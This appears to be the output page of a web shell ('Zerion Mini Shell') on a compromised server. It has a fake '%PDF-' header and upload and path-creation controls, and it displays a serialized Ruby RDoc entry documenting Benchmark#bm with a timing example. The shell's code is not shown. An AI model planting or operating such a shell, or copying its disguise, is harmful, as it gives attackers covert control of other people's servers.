%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Benchmark/
Upload File :
Create Path :
Current File : //proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Benchmark/bm-c.ri

U:RDoc::AnyMethod[iI"bm:EFI"Benchmark::bm;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"KA simple interface to the #benchmark method, #bm generates sequential ;TI"Nreports with labels. +label_width+ and +labels+ parameters have the same ;TI"meaning as for #benchmark.;To:RDoc::Markup::BlankLineo:RDoc::Markup::Verbatim;	[
I"require 'benchmark'
;TI"
;TI"n = 5000000
;TI"Benchmark.bm(7) do |x|
;TI":  x.report("for:")   { for i in 1..n; a = "1"; end }
;TI":  x.report("times:") { n.times do   ; a = "1"; end }
;TI":  x.report("upto:")  { 1.upto(n) do ; a = "1"; end }
;TI"	end
;T:@format0o;
;	[I"Generates:;T@o;;	[	I":              user     system      total        real
;TI";for:      0.960000   0.000000   0.960000 (  0.957966)
;TI";times:    0.960000   0.000000   0.960000 (  0.960423)
;TI":upto:     0.950000   0.000000   0.950000 (  0.954864);T;
0:
@fileI"lib/benchmark.rb;T:0@omit_headings_from_table_of_contents_below00I"report;F[I"(label_width = 0, *labels);T@$FI"Benchmark;FcRDoc::NormalModule00

Zerion Mini Shell 1.0